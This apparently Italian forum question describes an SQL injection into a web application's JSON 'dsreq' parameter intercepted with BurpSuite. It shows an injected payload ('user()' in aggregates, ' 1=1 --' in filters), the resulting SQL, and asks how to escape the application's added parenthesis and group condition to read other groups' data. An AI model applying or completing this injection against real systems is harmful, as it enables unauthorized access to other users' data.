Ho un'applicazione Web vulnerabile alle iniezioni SQL. Sto usando BurpSuite per intercettare le richieste. Più specificamente, la seguente variabile di dati è vulnerabile. Ho aggiunto i miei dati agli aggregati e ai filtri:
data=[{
"params": {
"dsreq": "{
\"version\":1,
\"type\":\"SQL\",
\"limit\":500,
\"aggregates\":[
{\"expr\":\"user()\"}
],
\"partitions\":[],
\"filters\":[\" 1=1 --\"],
\"having\":[],
\"dataset_id\":3}"
}
}
]
Questo payload restituisce la seguente istruzione SQL:
SELECT 'portal' user() FROM active_tab tab_0 WHERE (TRUE) AND ((TA_0.grp_id) = 'sqlgrp1')
La chiave di aggregazione in JSON corrisponde alla sezione colonne dell'istruzione SQL e i filtri corrispondono alla condizione.
Questo recupera alcuni dati dal DB, ma restituisce solo i dati dal mio gruppo. Si noti come la clausola where includa "TRUE" (la mia istruzione 1 = 1), ma poi la parentesi dell'applicazione aggiunta attorno ad essa e un'istruzione AND aggiuntiva. Il mio obiettivo è quello di aggirare il problema in modo da poter ottenere dati da tutti i gruppi. L'ID del mio gruppo è sqlgrp1.
Come posso ingannare il filtro per interrompere l'esecuzione della clausola WHERE dopo la condizione TRUE o addirittura non eseguire la clausola WHERE? Dove viene aggiunta la condizione se la chiave dei filtri è vuota.